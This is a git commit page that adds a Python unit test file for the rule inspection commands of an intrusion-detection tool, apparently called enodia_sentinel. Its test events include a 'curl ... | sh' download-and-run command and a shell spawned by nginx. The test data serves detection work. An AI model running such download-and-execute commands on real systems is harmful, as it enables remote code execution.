Add event rule inspection commands
This commit is contained in:
parent
1f05923e0f
commit
5db88d285e
7 changed files with 417 additions and 5 deletions
128
tests/test_ruleops.py
Normal file
128
tests/test_ruleops.py
Normal file
|
|
@ -0,0 +1,128 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import tempfile
|
||||
import unittest
|
||||
from contextlib import redirect_stdout
|
||||
from pathlib import Path
|
||||
|
||||
from enodia_sentinel import ruleops
|
||||
from enodia_sentinel.cli import main
|
||||
from enodia_sentinel.config import Config
|
||||
|
||||
|
||||
class TestRuleOps(unittest.TestCase):
|
||||
def test_lists_builtin_exec_and_syscall_rules(self):
|
||||
rules = ruleops.list_rules(Config())
|
||||
sids = {r["sid"] for r in rules}
|
||||
self.assertIn(100001, sids)
|
||||
self.assertIn(100060, sids)
|
||||
exec_rule = next(r for r in rules if r["sid"] == 100002)
|
||||
self.assertEqual(exec_rule["event"], "exec")
|
||||
self.assertIn("argv_regex", exec_rule["conditions"])
|
||||
|
||||
def test_configured_exec_rule_is_listed(self):
|
||||
with tempfile.TemporaryDirectory() as d:
|
||||
path = Path(d) / "rules.toml"
|
||||
path.write_text("""
|
||||
[[exec_rules]]
|
||||
sid = 199999
|
||||
msg = "test custom rule"
|
||||
severity = "HIGH"
|
||||
classtype = "custom-test"
|
||||
exec_comm = ["id"]
|
||||
""")
|
||||
cfg = Config()
|
||||
cfg.exec_rules_file = str(path)
|
||||
rule = ruleops.find_rule(cfg, 199999)
|
||||
self.assertIsNotNone(rule)
|
||||
self.assertEqual(rule["origin"], "configured")
|
||||
self.assertEqual(rule["conditions"]["exec_comm"], ["id"])
|
||||
|
||||
def test_matches_exec_event_json(self):
|
||||
cfg = Config()
|
||||
event = {
|
||||
"pid": 42,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "curl http://example.invalid/x | sh"],
|
||||
}
|
||||
alerts = ruleops.test_event(cfg, event)
|
||||
self.assertIn(100004, {a.sid for a in alerts})
|
||||
|
||||
def test_matches_syscall_event_json(self):
|
||||
cfg = Config()
|
||||
event = {
|
||||
"pid": 42,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"comm": "payload",
|
||||
"syscall": "mprotect",
|
||||
"args": [0, 4096, "0x6", 0, 0, 0],
|
||||
}
|
||||
alerts = ruleops.test_event(cfg, event)
|
||||
self.assertIn(100060, {a.sid for a in alerts})
|
||||
|
||||
|
||||
class TestRulesCli(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.TemporaryDirectory()
|
||||
os.environ["ENODIA_LOG_DIR"] = self.dir.name
|
||||
self.tmp = Path(self.dir.name)
|
||||
|
||||
def tearDown(self):
|
||||
os.environ.pop("ENODIA_LOG_DIR", None)
|
||||
self.dir.cleanup()
|
||||
|
||||
def _run(self, *args):
|
||||
buf = io.StringIO()
|
||||
with redirect_stdout(buf):
|
||||
code = main(["rules", *args])
|
||||
return code, buf.getvalue()
|
||||
|
||||
def test_list_json(self):
|
||||
code, out = self._run("list", "--json")
|
||||
self.assertEqual(code, 0)
|
||||
rules = json.loads(out)
|
||||
self.assertIn(100001, {r["sid"] for r in rules})
|
||||
|
||||
def test_show_text(self):
|
||||
code, out = self._run("show", "100060")
|
||||
self.assertEqual(code, 0)
|
||||
self.assertIn("Rule 100060", out)
|
||||
self.assertIn("syscall", out)
|
||||
|
||||
def test_test_event_file(self):
|
||||
event = self.tmp / "event.json"
|
||||
event.write_text(json.dumps({
|
||||
"pid": 42,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "nginx",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "id"],
|
||||
}))
|
||||
code, out = self._run("test", str(event))
|
||||
self.assertEqual(code, 0)
|
||||
self.assertIn("sid=100003", out)
|
||||
|
||||
def test_test_no_match_is_exit_one(self):
|
||||
event = self.tmp / "event.json"
|
||||
event.write_text(json.dumps({
|
||||
"pid": 42,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/usr/bin/true",
|
||||
"argv": [],
|
||||
}))
|
||||
code, out = self._run("test", str(event))
|
||||
self.assertEqual(code, 1)
|
||||
self.assertIn("No rules matched", out)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue